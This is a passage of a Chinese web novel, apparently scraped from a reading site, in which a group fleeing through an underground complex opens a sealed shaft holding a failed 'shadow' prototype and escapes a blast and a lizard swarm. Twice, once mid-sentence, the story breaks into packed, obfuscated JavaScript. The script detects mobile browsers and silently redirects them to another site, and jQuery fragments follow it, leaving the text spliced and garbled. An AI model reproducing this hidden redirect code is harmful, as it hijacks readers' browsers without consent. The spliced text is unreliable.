通道并非一路向上,而是曲折迂回,有时甚至微微向下倾斜,仿佛要将他们引向更深处。空气逐渐变得凉爽(比起熔炉旁),但依旧带着地下特有的陈腐和隐约的化学药剂余味。墙壁上不时出现老旧的指示牌,字迹模糊:“主循环泵站前方500米”、“危险:高压管线”、“非授权人员禁止入内”。 “停一下。”走在最前面的林岚忽然低声示意,她侧耳倾听,又指了指前方通道拐角处一片相对开阔、堆放着一些废弃工具箱和破损管道的区域,“那里可以暂时歇脚,检查一下情况。” 这片区域像是一个小型的设备检修凹室,大约十平米,一面墙壁上还有残缺的管线图和一盏损坏的应急灯。最重要的是,这里相对隐蔽,远离主通道,并且有一个关闭着的厚重防火门(似乎从内部锁死或锈死),提供了某种心理上的屏障。 他们将维生舱小心地推入凹室最里面,让雷烬靠着一个工具箱坐下,小豆被轻轻放在相对干净的角落。顾风立刻瘫坐下来,背靠着冰冷的金属墙壁,感觉全身骨头都在呻吟。精神上的透支和恐惧带来的虚脱感,远比身体上的疲惫更甚。 林岚没有休息。她首先检查了小豆的状态。少年依旧昏迷,但呼吸平稳,脸上因高热和惊吓产生的潮红退去了一些。她毫不犹豫地将那颗银白色的清心珠贴近小豆的额头,引导着其中宁静平和的能量缓缓渗入。清心珠的光芒温和地笼罩着小豆的脸庞,他紧蹙的眉头以肉眼可见的速度舒展开来,身体也彻底放松下来,陷入了更深沉、更自然的睡眠。 “清心珠的效果很明显,”林岚松了口气,但眉头依然紧锁,“但他精神受创的根源是直接遭受了惑心魔的实体攻击,可能需要不止一颗,并且需要时间静养。”她小心地将清心珠收起,这颗宝贵的灵珠能量消耗了一小部分。 接着,她转向维生舱。沈青瓷的状态依旧令人担忧。警报灯虽然不再急促闪烁,但依然保持着稳定的黄色。生命体征数据有所回升,但脑波图谱依旧显示出异常的、脆弱的波动,仿佛随时会再次崩裂。 林岚拿出那颗品质稍逊的银白色清心珠,犹豫了一下,还是将它贴近舱盖,开始引导能量。这一次,效果没有那么立竿见影。清心珠的能量似乎被沈青瓷自身紊乱、脆弱的精神场排斥了一部分,只有少量能够渗透进去,起到微弱的安抚作用。屏幕上的脑波图谱波动幅度减小了一些,但那种不稳定感依旧存在。 “不行,”林岚摇头,“她的情况太特殊。清心珠只能作为稳定剂,无法根治。她的精神结构……或者说,她的‘灵觉’本身,似乎和某种更深层、更混乱的东西连接在一起,强行安抚就像试图用纱布堵住裂开的水坝。” 顾风默默听着,目光落在沈青瓷苍白的脸上。他想起了那个天级魔修的话——“脆弱的、濒临破碎的‘灵觉’回响者”。回响者……回响的是什么?是“摇篮”的实验?是影蚀的源头? “用这个试试。”雷烬虚弱地开口,他示意林岚拿出那颗流转着暗金色纹路的紫色灵珠。这颗灵珠在收获时就被注意到了,它的能量波动与常见的蓄能珠、治疗珠、清心珠都不同,更加内敛,却似乎蕴含着某种“调和”或“稳定规则”的特性。 林岚点点头,小心地换上了紫色灵珠。当紫色的、带有暗金光晕的能量触碰到维生舱时,异变发生了。 舱内的淡琥珀色液体轻微地震荡了一下,那些原本无序漂浮的珍珠白色光点,仿佛受到了某种召唤,开始向着紫色能量接触的区域缓慢汇聚。沈青瓷的脑波图谱上,几个尖锐的、不和谐的峰值,竟然在紫色能量的浸润下,缓缓变得平缓、圆润,与其他波段的连接也似乎顺畅了一丝。警报灯从黄色变成了浅绿色,虽然依旧亮着,但代表着危险程度的降低。 “有效!”林岚眼中闪过一丝惊喜,“这颗紫色灵珠……似乎有稳定灵能结构、调和冲突频率的作用!虽然不能修复根本,但可以大大缓解她精神场的崩溃压力,为她自身的恢复争取时间!”她立刻调整了维生舱的参数,将紫色灵珠设定为持续低剂量输出模式,连接在舱体的辅助能量接口上。舱体自带的微弱备用能量,加上紫色灵珠的稳定输出,暂时维持住了沈青瓷的状态。 做完这一切,林岚才疲惫地坐下,拿出水壶,给每人分了一小口珍贵的水,又取出一点压缩干粮。没有人有胃口,但都知道必须补充能量。 沉默在凹室中蔓延,只有设备低鸣和偶尔从远处传来的、不知是风声还是什么的呜咽。 “那个东西……”雷烬打破了沉默,声音嘶哑,“它说的话,你们记住了多少?” “样本,回响者,弦,观察,清理……”顾风低声重复,每一个词都像冰锥,“它把我们当成……实验室里的东西。甚至连敌意都算不上,只是……需要评估和可能清理的对象。” “天级魔修……”林岚抱紧膝盖,身体微微发抖,“我以前只在最隐晦的传闻里听过。据说它们看守着甲级关卡,或者……负责维护某种我们无法理解的‘大规则’。它们几乎从不直接出现在低级区域,除非……” “除非出现了‘异常扰动’。”顾风接口,眼神幽暗,“我和青瓷的共鸣,触发了什么。它说那是‘来自更深处的摇篮回声’和‘不该醒来的回响者’。”他看向维生舱,“青瓷的父亲把她藏起来,就是因为‘绿洲’高层想利用她的能力作为‘探针’……探针指向哪里?很可能就是那个‘更深处的摇篮’,或者影蚀的源头。” 这个推测让所有人不寒而栗。沈青瓷不仅是一个受害者,她本身可能就是一把指向终极恐怖的钥匙,或者一个信号发射器。 “我们必须更快变强。”顾风握紧了拳头,指节发白,“不能等到它再次找上门,或者别的什么东西。我们现在的力量,连做‘样本’的资格都勉强。” “怎么变强?”雷烬苦笑,“挑战更高级的关卡?乙级?我们现在的状态,连应付丁级都够呛。吸收更多灵珠?普通的蓄能珠只能补充体力,治疗珠治伤,清心珠安神。我们需要的是能真正强化自身、掌控异能的东西。那种灵珠……”他看向那颗正在稳定输出能量的紫色灵珠,“可遇不可求。” “沈墨的笔记,”林岚忽然想起,“我拷贝的资料里,除了研究记录,好像还有他私下收集的一些关于‘灵能应用’和‘旧世界超自然项目档案’的碎片。也许里面有线索。” 她拿出那个老旧的存储芯片和从控制台找到的一个便携式读取器(电量所剩无几)。屏幕上滚动着加密文件列表。林岚快速输入密码(1024),调出了非核心研究部分的文档。 大部分是零散的技术笔记、个人观察,还有一些像是从内部网络截获的只言片语。他们快速浏览着。 “……‘影源’并非单一实体,更像是一种弥漫的‘场’或‘维度残留’,‘摇篮’设施是人为建立的‘场聚焦器’和‘观测站’……” “……志愿者暴露于特定‘场’频率下,可能诱发‘灵觉’(精神感应)、‘体变’(□□异化)或更罕见的‘影契’(阴影亲和)……” “……灵珠,本质是高纯度‘场’能量在规则约束下的结晶。不同环境、不同‘弦’的波动,会产生不同特性的灵珠……” “……有未经证实的记录显示,在少数‘摇篮’核心区域或极其特殊的自然‘场’节点,可能存在能直接改造生命本质的‘源初灵能’或‘规则碎片’,但其获取方式及后果完全未知,被列为最高禁忌……” “源初灵能……规则碎片……”顾风咀嚼着这些词语,心脏不由自主地加速跳动。这才是他需要的!能改变现状的东西! “看这里!”林岚忽然指着一段模糊的、像是手写扫描的段落,“这是沈墨的私人备注:‘第三区地下,传闻有一条未完工的‘深潜通道’,计划用于直接观测‘场’的深层波动,后因‘绿洲’项目转向及大崩溃而废弃。通道入口可能隐藏在次级循环处理区的某处。警告:深层‘场’波动极度危险,可能引发不可预测的异变或直接吸引‘上位存在’(指高阶魔修?)。’” 深潜通道!直接观测深层“场”波动!这听起来,就像是通往“源初灵能”可能存在的区域! “次级循环处理区……我们之前从图纸上看过,就在这个维护网络的下层某处。”雷烬回忆着老陈的图纸,“如果这条通道真的存在……” 风险不言而喻。吸引高阶魔修,引发不可预测异变。但机遇也同样巨大。 “我们需要准备。”顾风强迫自己冷静下来,“首先,利用现有的灵珠恢复状态。林岚,用治疗珠处理队长和我的伤势,用蓄能珠补充体力。清心珠优先保证小豆和青瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林岚和雷烬立刻警觉起来。林岚握紧了手中的工具刀,雷烬挣扎着抓起了拐杖。 顾风缓缓起身,走到防火门前。门上覆盖着厚厚的灰尘和锈迹,把手完全锈死。他将耳朵贴近冰冷的金属,屏息倾听。 寂静。 但他影子边缘,却对着门缝的方向,开始不受控制地、极其缓慢地晕染开来,颜色变得比周围更深沉,仿佛被门后的什么东西吸引。 “我的影子……有反应。”顾风的声音带着一丝不确定,“不是攻击性的渴望,更像是……共鸣?或者……被‘映照’?” 他想起沈墨笔记中关于“影源”是一种“场”的描述。难道这扇门后,存在着一个微小的、稳定的“影源”场残留?或者,是某种与影蚀高度相关的物质或装置? “要打开吗?”林岚问,语气紧张。刚刚经历天级魔修的惊吓,任何异常都足以让人神经紧绷。 顾风犹豫了。门后可能是机遇,也可能是更大的陷阱。但他们现在急需任何形式的资源和信息,尤其是与影蚀相关的。 “做好准备。”他最终下了决心,“如果情况不对,立刻带着青瓷和小豆后退。我来应付。” 他示意林岚和雷烬退到凹室入口处,自己则深吸一口气,将所剩无几的灵能(主要来自刚刚吸收的蓄能珠)和一丝警惕的影蚀感知凝聚在双手,握住了锈死的门把手。 用力。 纹丝不动。 他加了把劲,甚至调动了影子那股冰冷的力量辅助。 “嘎吱……咔!” 一声令人牙酸的金属断裂声,门把手连同部分锈蚀的锁芯,竟被他硬生生拧断!但门,依然没有开。 顾风皱眉,正想尝试用蛮力撞开,却忽然注意到,在被他拧断的门把手下方,锈层剥落的地方,露出了一个很小的、类似钥匙孔,但内部结构似乎更加复杂的凹槽。凹槽边缘,刻着一个极其微小、几乎被磨平的符号—— 一个抽象化的、被层层锁链缠绕的**眼睛**图案。 这个图案,顾风从未见过,但就在他看到它的瞬间,他内袋里那个一直没什么动静的、从第七病栋带出来的**小玻璃药瓶**(标签:样本‘影’观察记录),忽然微微**发烫**! 与此同时,他体内那正在“沉淀重组”的影蚀能量,仿佛受到了某种强烈的刺激,猛地**悸动**了一下! 门后的“存在感”,也在这一瞬间,变得无比清晰! 23. 影痕储藏室 眼睛符号。 层层锁链缠绕的抽象眼睛。 顾风的指尖拂过那冰凉的凹槽,小玻璃药瓶在口袋中的灼热感越来越清晰,仿佛与这门后的存在产生了某种共鸣。他取出药瓶,借着林岚手中荧光棒的光线仔细端详。药瓶本身并无特殊,但那个标签——“样本‘影’观察记录”——此刻却仿佛带着某种重量。 “这个符号……”林岚也凑近观察,眉头紧锁,“我在沈墨的笔记里好像见过类似的标记,在关于最高保密等级的‘源场接触实验’的段落边缘,有手绘的草图。但那个草图更复杂,眼睛是睁开的,周围是辐射状的线条。” “睁开的眼睛……锁链缠绕的眼睛……”顾风喃喃道,将药瓶的瓶底对准凹槽比划了一下,大小完全不匹配。显然,药瓶本身并非钥匙。 他尝试将一丝影蚀能量注入凹槽。冰冷的暗影触碰到金属凹槽的瞬间,那些锈蚀的痕迹仿佛活了过来,如同退潮般从眼睛符号周围迅速褪去,露出了下面相对光洁的金属表面。眼睛符号微微亮起,散发出幽暗的紫黑色光泽。 但门,依旧紧闭。 顾风皱眉,加大了能量输出。影子在他脚下不安地蠕动,颜色加深。然而,眼睛符号只是变得更亮,甚至开始缓缓旋转,却依然没有开门的迹象。相反,一种淡淡的、令人心悸的吸力从凹槽中传来,仿佛要将他注入的能量,乃至他自身的影蚀本源都吸进去! 他立刻切断了能量输送。 “不对……不是简单的能量钥匙。”顾风后退半步,额角渗出冷汗。刚才那一瞬间的吸力,让他感到一种近乎本能的危险。“这东西……像是在‘检验’或者‘索取’某种特定的‘印记’。” “印记?”雷烬强撑着站起来,走到门边,“什么印记?你从第七病栋带出来的,除了这个药瓶,还有什么?” 顾风快速回忆。从那个地狱般的地方逃出来时,他几乎一无所有。衣服是病号服,后来换成了废墟里找到的破烂。身上唯一从病栋带出的,只有这个药瓶,还有……他摸了摸贴身口袋,掏出了那张**破损的身份卡片**,上面有模糊的数字“7”和一些难以辨认的诡异符号。 他将卡片也凑近凹槽。 毫无反应。 “也许……”林岚沉吟道,“不是物品,而是……你本身?‘样本‘影’观察记录’,这意味着你是被观察的‘样本’。这门上的眼睛,会不会是在‘观察’和‘识别’特定的样本?” 这个推测让顾风背脊发凉。但如果真是这样,如何才能通过“识别”?展示影蚀的力量?刚才已经试过,差点被吸走。展示样本编号?他哪里知道自己的编号。 就在众人一筹莫展之际,维生舱的方向,忽然传来一声极其轻微、如同气泡破裂般的“啵”声。 三人立刻回头。 只见维生舱内,沈青瓷不知何时,又一次睁开了眼睛! 这一次,她的眼神不再是无焦距的迷茫,而是带着一种清晰的、却充满痛苦和挣扎的锐利!她正死死地盯着那扇防火门,嘴唇无声地开合,仿佛在呐喊什么。紫色的稳定灵珠光芒在她周身剧烈波动,屏幕上的脑波图谱再次出现危险的高峰! “青瓷!”顾风立刻冲回维生舱边,试图通过那脆弱的链接安抚她,“冷静!门后的东西是什么?你知道?” 沈青瓷无法说话,但她眼中的痛苦和急切几乎要溢出来。她艰难地,极其缓慢地,抬起了被软管缠绕的右手,食指伸出,颤抖着,指向顾风,然后又缓缓移向那扇门。 下一秒,一股比之前任何一次都要清晰、都要强烈的意念,如同洪流般顺着链接冲入顾风的脑海! 不再是呢喃,而是破碎的画面和尖锐的情感碎片: ——**冰冷的白色实验室,无数闪烁的屏幕,中央悬浮着一个不断扭曲、仿佛由纯粹黑暗构成的球体(影源?)。穿着防护服的研究员们忙碌记录,眼神狂热。** ——**一个年轻的女孩(青瓷?)被固定在椅子上,头上连接着电极,她痛苦地尖叫,眼睛却死死盯着那个黑暗球体,瞳孔深处倒映出万千破碎的光影。** ——**黑暗球体突然剧烈波动,辐射出无形的波纹。女孩的尖叫声达到顶点,然后戛然而止,眼神变得空洞。周围的研究员惊慌失措。** ——**画面切换:还是那个女孩,躺在一个类似维生舱的装置里(不是现在这个),舱体外壁上,赫然刻着那个**锁链缠绕的眼睛符号**!一个研究员(模糊,像是沈墨)正在舱体控制台前操作,表情悲恸而决绝。** ——**最后画面:防火门缓缓关闭,将那个刻有眼睛符号的维生舱留在后面的黑暗里。门缝合拢前,女孩空洞的眼神望了出来,与顾风此刻的视线,仿佛穿越时空,轰然对撞!** “啊——!”顾风和沈青瓷同时发出一声压抑的痛呼。 顾风头痛欲裂,那些画面带来的冲击和沈青瓷传递过来的绝望、恐惧、被囚禁的痛苦,几乎要撕裂他的意识。沈青瓷则身体剧烈抽搐,维生舱警报声再次尖锐响起,紫色灵珠的光芒疯狂闪烁,几乎要压制不住她精神场的崩溃! “顾风!切断链接!”林岚急喊。 顾风咬牙,强行掐断了那汹涌而来的意念洪流,但残留在脑海中的影像和情感却挥之不去。他喘着粗气,再看那扇防火门,眼神已然不同。 他明白了。 门后,很可能就是当年封存沈青瓷(或者与她情况类似的其他“样本”)的初始维生舱所在!那个眼睛符号,是某种“观察封印”的标志!而沈青瓷,这个“回响者”,她的存在本身,或者她精神深处残留的“印记”,或许就是钥匙! “青瓷……你是钥匙?”顾风隔着舱盖,看着里面因痛苦而蜷缩、眼神却依旧死死盯着门的女孩。 沈青瓷无法回答,但她的眼神已经说明了一切。那是一种混合着恐惧、抗拒,却又带着一丝绝望期待的复杂情绪。回到那个地方,对她而言无异于再次踏入噩梦,但那里面,也可能封存着她破碎过去的真相,或者……能让她彻底摆脱这种半死不活状态的东西? “风险太大。”雷烬沉声道,“强行打开,可能会彻底摧毁她,也可能放出我们无法控制的东西。” “但我们没有选择。”顾风的声音低沉而坚定,“那个天级魔修已经注意到了她的‘回响’。把她留在这里,或者带着她漫无目的地逃亡,结局可能都一样。门后的东西,既然和她有关,或许能找到让她稳定下来的方法,或者……至少让我们更了解面对的到底是什么。” 他看向林岚:“能不能用清心珠和紫色灵珠,最大程度稳定她的意识,然后尝试用她的精神‘印记’引导开门?只接触一瞬间,获取‘识别’信号?” 林岚面色凝重,快速思考。“可以尝试用清心珠构筑一个临时的精神屏障,保护她的核心意识,然后用紫色灵珠稳固她的灵能结构。但时间必须极短,而且开门瞬间的冲击未知,可能屏障会瞬间破碎。” “足够了。”顾风点头,他看向沈青瓷,通过链接传递过去一个坚定的意念,“**青瓷,相信我。我们一起,只看一眼。为了自由,为了结束这一切。**” 沈青瓷眼中的恐惧挣扎了很久,最终,化为一丝微不可察的点头。她闭上了眼睛,仿佛在积蓄力量,也仿佛在迎接审判。 林岚立刻行动。她将那颗主要的清心珠贴在沈青瓷额头,引导出最精纯的宁静能量,在她意识外围编织成一层柔和的、银白色的光茧。同时,调整紫色灵珠的输出,将调和稳定的力量提升到安全范围内的最大值。维生舱的警报声减弱,沈青瓷的脑波图谱被强行压制在一个相对平稳但脆弱的区间。 “准备好了。”林岚额头见汗,维持这种精密操作对她也是巨大负担。 顾风再次站到防火门前。他深吸一口气,这次不再向凹槽注入自己的影蚀能量,而是通过链接,小心翼翼地引导着沈青瓷那被双重保护着的、独特的精神波动——那种与“影源”产生过共振的“灵觉”频率——如同探针般,轻轻触向那个旋转的眼睛符号。 接触的瞬间—— 眼睛符号爆发出刺目的幽紫光芒!整个防火门剧烈震动,表面的锈蚀如同被无形之手抹去,露出下面光滑的银灰色金属材质!门上的锁链图案仿佛活了过来,哗啦作响,层层崩解! “咔哒……咔哒……轰隆!” 一连串复杂的机械解锁声后,厚重的防火门向内滑开,一股远比外面阴冷、干燥,混合着尘埃、臭氧和某种淡淡甜腥味的空气涌出。 门后,并非他们想象中的另一个房间。 而是一个**垂直的圆柱形竖井**,直径约五米,深不见底。竖井内壁光滑,覆盖着哑光的黑色复合材料,上面布满了密密麻麻、如同电路板纹理般的银色线条,这些线条微微发光,构成了一个巨大而复杂的立体法阵,法阵的核心纹路,正是那个锁链缠绕的眼睛符号的放大和变形版。 而在竖井正中央,悬浮着一个长方体装置。 那是一个比沈青瓷现在所用的维生舱更古老、更精致的银色金属舱体,表面布满了精密的接口和观察窗,舱体上下两端连接着粗大的能量导管,导管另一端没入竖井壁中,但此刻早已断裂、干枯。舱体正面,同样刻着那个眼睛符号,只是更大,更清晰。 银色舱体的观察窗内,并非空无一物。 里面充斥着一种粘稠的、仿佛液态阴影的黑色物质,这些物质在缓缓蠕动,偶尔泛起暗紫色的涟漪。而在这些黑色物质的中心,隐约可见一个蜷缩的、模糊的人形轮廓,但细节完全无法分辨,仿佛只是一个被黑暗吞噬的剪影。 这根本不是沈青瓷的初始维生舱!或者说,这舱体里封存的东西,与沈青瓷截然不同! “这是……什么?”林岚的声音带着颤抖。她从这悬浮的舱体中,感受到了一种远比Z-07样本更加凝练、更加纯粹,但也更加死寂的暗影能量。没有活性,没有渴望,只有一种深沉的、仿佛冻结了时间的“存在”。 顾风体内的影蚀能量,在这银色舱体出现的瞬间,陷入了绝对的静止。不是恐惧,不是渴望,而是一种……近乎“朝圣”般的凝固感。他口袋里的药瓶,灼热感达到了顶点,然后骤然冷却。 沈青瓷的意念再次传来,充满了极致的恐惧和……悲伤? 【**……失败品……‘影’之原型……最初的……湮灭……**】 破碎的词语,揭示了这舱体的身份。 “影”之原型?第七病栋观察记录的“样本‘影’”,难道指的不是顾风这类后来的感染者,而是这个最初的、失败的实验原型? 就在这时,竖井内壁那些发光的银色线条法阵,似乎因为大门的开启而被激活了最后残存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081241|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的能量。光芒流转,在竖井空中投射出一些残缺不全的影像和文字记录: **【项目:‘影痕’封存计划】** **【对象:原型体-零号(初代深度接触者)】** **【状态:不可逆深度侵蚀,意识湮灭,能量活性归零。** **【风险评估:原型体内残留‘源痕’具有高度信息价值,但任何能量扰动均可能引发‘源痕’复苏及不可控链式侵蚀。** **【决议:永久封存于次级隔离竖井,启用‘凝视之锁’法阵隔绝内外一切能量及信息交换。** **【警告:此区域列为绝对禁区,禁止任何形式的接触与观测。** **【封存日期:旧历5648年5月6日】** 影像闪烁,最后定格在银色舱体被黑色物质彻底吞没的瞬间,然后熄灭。 竖井内恢复了昏暗,只有那个悬浮的、死寂的银色舱体,如同墓碑般矗立。 真相,远比想象的更加残酷。“绿洲”和“摇篮”,早在沈青瓷之前,就已经制造出了更可怕的悲剧。这个“原型体-零号”,才是真正意义上第一个被“影源”彻底吞噬的牺牲品,一个失败的、被永久封印的“样本”。 而顾风他们身上的影蚀,沈青瓷的“灵觉”共振,乃至Z-07样本,很可能都是从这个“原型体”的研究中衍生出来的分支! 突然,悬浮的银色舱体,极其轻微地**震动**了一下。 不是内部的黑色物质在动,而是整个舱体,仿佛被某种外部的力量牵引,或者说,与某个遥远的源头,产生了**极其微弱**的同步脉动。 顾风猛地抬头,看向竖井上方无尽的黑暗。 他感觉到,就在刚才舱体震动的瞬间,一股熟悉的、冰冷淡漠的“注视感”,仿佛跨越了无比遥远的距离,**极其短暂**地扫过了这里! 是那个天级魔修!它感知到了“凝视之锁”的开启?还是这个“原型体”的微弱脉动,本身就是一种信号? “它……它可能感觉到了!”顾风声音干涩,“快,我们必须离开!关上这扇门!” 林岚和雷烬也意识到了危险。他们立刻开始后退,顾风则准备强行将防火门拉上。 但已经晚了。 竖井内壁,那些刚刚熄灭的银色法阵线条,忽然再次亮起,但这一次,光芒变得紊乱、急促,并且迅速向着大门方向蔓延! 【**警告:‘凝视之锁’法阵核心能量枯竭,封存完整性受损。** **【检测到未授权生命体及同源能量场接近。** **【执行最终协议:净化程序启动。** **【倒计时:10秒。** 一个冰冷的电子合成音从竖井某处响起。 红光开始在整个竖井内闪烁! “跑!”雷烬大吼。 顾风毫不犹豫,放弃关门,转身冲向维生舱和林岚他们。林岚已经背起了小豆,雷烬撑着拐杖拼命向外冲。 他们刚刚冲出凹室,跑上金属栈道,身后就传来了惊天动地的爆炸声和汹涌的能量乱流! 防火门在红光中扭曲、融化,炽热的气浪夹杂着破碎的金属碎片和混乱的暗影能量喷射而出,将整个凹室乃至一段栈道都炸得粉碎!下方的深渊传来隆隆的回响。 顾风扑倒在地,用身体护住近旁的维生舱,背后被几片灼热的碎片击中,传来剧痛。但他顾不上这些,立刻回头望去。 只见原本凹室的位置,已经变成了一个巨大的、边缘泛着红热光芒的破口,通往那个竖井的通道被彻底炸毁、掩埋。黑色的烟尘和残留的暗影能量如同鬼魅般升腾、消散。 净化程序……竟然是以如此暴烈的方式,将那个“原型体”连同整个封存点,彻底物理毁灭! 是设计如此,以防万一?还是因为能量枯竭,导致了程序失控? 但无论如何,那个秘密,那个最初的失败品,似乎随着这场爆炸,暂时被再次埋葬了。 然而,顾风知道,事情绝没有结束。 那个天级魔修可能已经捕捉到了这一丝波动。 他和沈青瓷,与那个“原型体”之间的同源联系,可能也因此被加深了印记。 更重要的是,爆炸的动静太大,在这寂静幽深的地下迷宫里,无异于黑夜中的灯塔! “快走!”雷烬咳嗽着,嘴角溢出血丝,“爆炸会引来……很多东西!” 顾风咬牙站起,检查维生舱。舱体在爆炸冲击中剧烈震动,但结构完好,沈青瓷似乎因为精神屏障的保护和短暂的昏迷,没有受到进一步伤害,紫色灵珠依旧在稳定输出。他立刻拉起拖杆。 四人(加一舱)沿着栈道,向着未知的前方,开始了新一轮的逃亡。 背后是逐渐平息的爆炸余波和深不见底的黑暗。 前方,是迷宫般的管道和可能潜伏的任何危险。 而顾风的心中,除了劫后余生的惊悸,更多的是一种沉甸甸的明悟:他们的路,注定要与这些最深沉的黑暗和秘密纠缠不清。变强,不再是选项,而是生存下去的唯一途径。 刚才那一瞥的“原型体”,虽然被毁灭,但它存在的意义,它代表的“源痕”,或许已经在他和沈青瓷的灵魂深处,留下了不可磨灭的烙印。 这烙印,是诅咒,也可能……是钥匙。 24. 染血歧路 爆炸的轰鸣还在幽深的管道网络中回荡、衰减,但紧随其后的,是另一种更加令人心悸的声音——密集的、窸窸窣窣的摩擦声,从四面八方黑暗的深处传来,如同无数细小的爪牙刮擦着金属和岩石。 “是爆炸声引来的!”林岚脸色煞白,她背着小豆,紧跟在拖着维生舱的顾风身后。栈道在爆炸冲击下微微震颤,灰尘簌簌落下。 “不止一个方向!”雷烬拄着拐杖,耳朵微微耸动,脸色极其难看。他丰富的废墟生存经验告诉他,这种声音,往往意味着群居性的、对震动和能量异常敏感的地下生物。 顾风心脏狂跳。刚从天级魔修的阴影和净化爆炸中逃出,立刻又要面对未知的生物威胁。他体内的影蚀能量在刚才的爆炸冲击和持续逃亡中消耗巨大,蓄能珠补充的能量早已见底,淡金色灵珠彻底黯淡。疲惫和伤痛如同潮水般涌来,但他不能停下。 “往前!找岔路,或者能堵住通道的地方!”顾风低吼,用尽力气加快速度。维生舱的轮子发出不堪重负的呻吟。 栈道在前方出现了分叉:一条继续沿着岩壁水平延伸,另一条则向下倾斜,通往更黑暗的深处。水平通道远处似乎有微光,但倾斜通道的摩擦声似乎稍弱一些。 “向下!”雷烬当机立断,“水平通道太直,容易被追上堵死。下面地形可能复杂,有机会周旋!” 没有时间犹豫。四人转向倾斜通道。坡度很陡,地面湿滑,布满苔藓和冷凝水。顾风几乎是用身体顶着维生舱,防止它失控滑落。林岚和雷烬互相搀扶,艰难下行。 身后的摩擦声越来越近,伴随着一种低频的、令人牙酸的嘶嘶声。借着林岚手中最后一根荧光棒的微光,顾风回头瞥了一眼,顿时头皮发麻。 通道上方,栈道边缘的阴影里,出现了无数双针尖大小的、反射着幽绿光泽的眼睛!紧接着,一只只大约家猫大小、形似蜥蜴和甲虫混合体的生物涌了出来。它们有着暗褐色、布满瘤状凸起的厚皮,短而有力的四肢带着锋利的钩爪,口器裂开,露出细密尖锐的牙齿,一条分叉的、不断颤动的舌头探出,捕捉着空气中的气味和信息素。 “潜地岩蜥!小心它们的酸液和钻地能力!”林岚惊呼,认出了这种在旧世界生态教材和废土传闻中都令人头疼的地下掠食者。它们通常群体行动,嗅觉和震动感知极其敏锐,擅长在狭窄空间围猎。 一只速度最快的岩蜥已经顺着倾斜的通道壁爬了下来,凌空扑向队伍末尾的雷烬!雷烬挥动钢筋拐杖猛击,将那只岩蜥砸飞,撞在岩壁上发出沉闷的响声,但更多的岩蜥如同潮水般涌下! “不能停!继续下!”顾风知道一旦被缠住,在如此狭窄陡峭的地形,他们必死无疑。他咬紧牙关,不再节省体力,猛推维生舱,让它加速向下滑去,自己则紧随其后,同时挥动砍刀,劈砍追近的岩蜥。刀刃砍在岩蜥厚皮上,发出令人不快的钝响,往往需要好几刀才能彻底杀死一只。酸性的血液溅出,腐蚀着地面和衣物,发出嗤嗤声。 林岚一边护着小豆,一边用找到的短铁钎刺击。雷烬殿后,拐杖舞动,但动作因伤势和疲惫明显迟缓,几次险象环生,手臂和腿上已被岩蜥的爪牙划出数道伤口。 倾斜通道仿佛没有尽头。维生舱在颠簸中剧烈震荡,舱内的沈青瓷似乎被外界的危险和颠簸刺激,再次传来不安的意念波动,干扰着顾风本就紧绷的神经。 就在顾风感觉力气即将耗尽,手臂酸软抬不起来时,前方通道陡然变宽,坡度也缓和下来,汇入了一个相对宽敞的、布满巨大管道和阀门的空间。这里像是一个旧式的**水泵站或水处理前哨**,空气潮湿阴冷,地面有浅浅的积水,许多设备已经锈蚀报废,但结构依然完整,提供了些许腾挪空间。 “进去!堵住入口!”雷烬喊道。 顾风用尽最后力气将维生舱推进一处由巨大金属管道形成的夹角,形成相对安全的掩体。林岚将小豆放下,立刻转身和雷烬一起,奋力将旁边一个锈蚀的、半人高的氧气瓶推倒,滚向倾斜通道的入口。 氧气瓶卡在入口下方,加上先前杀死的一些岩蜥尸体,暂时形成了一道简陋的障碍。涌下的岩蜥群被阻碍,但它们迅速开始用爪牙和酸液腐蚀障碍,试图钻进来。嘶嘶声和啃咬声不绝于耳,障碍在快速瓦解。 “挡不了多久!”林岚喘息着,看向四周。这个水泵站空间大约有半个篮球场大,除了他们进来的倾斜通道,还有另外两个黑黝黝的通道口,不知通向何方。一些管道破裂,滴着水,在地面形成小水洼。头顶有断裂的线缆垂下。 顾风背靠着冰冷的管道滑坐在地,剧烈喘息,握刀的手抖得厉害。他看了一眼维生舱,沈青瓷的状态还算稳定,紫色灵珠光芒依旧。又看了一眼被林岚放在角落、依旧沉睡但脸色好了很多的小豆。最后,目光落在正在用布条草草包扎伤口的雷烬和林岚身上。 绝望感,如同冰冷的水,再次淹没了他。 逃,不停地逃。从第七病栋逃到废墟,从废墟逃到绿洲深处,现在又在地下迷宫被一群怪物追杀。每一次以为看到了希望或喘息之机,立刻就有新的、更深的绝望接踵而至。天级魔修的漠然俯视,净化程序的狂暴毁灭,现在又是这无穷无尽的、仿佛来自地底本身的恶意。 变强?说得轻巧。拿什么变强?在这绝境里,连活下去都如此艰难。 他摸向口袋,触碰到那些灵珠。深蓝色的蓄能珠还有几颗,但吸收需要时间,而且只能恢复体力,无法带来质变。绿色的治疗珠能治伤,但治不好这种深入骨髓的疲乏和绝望。清心珠要留给小豆和青瓷。那颗紫色灵珠在维持青瓷的生命。 他的手指,最终触碰到了一颗之前未曾仔细审视的灵珠——那颗在地热熔炉关卡获得的、流转着**暗金色纹路的紫色灵珠**旁边,另一颗同样紫色、但纹路更加狂暴、如同燃烧血液般**鲜红色**的灵珠。当时林岚粗略判断,这颗“燃血珠”可能蕴含激发潜能或狂暴攻击性的能量,但副作用未知,风险极高。 顾风的目光,死死盯在这颗“燃血珠”上。 一个疯狂而危险的念头,不可抑制地涌现。 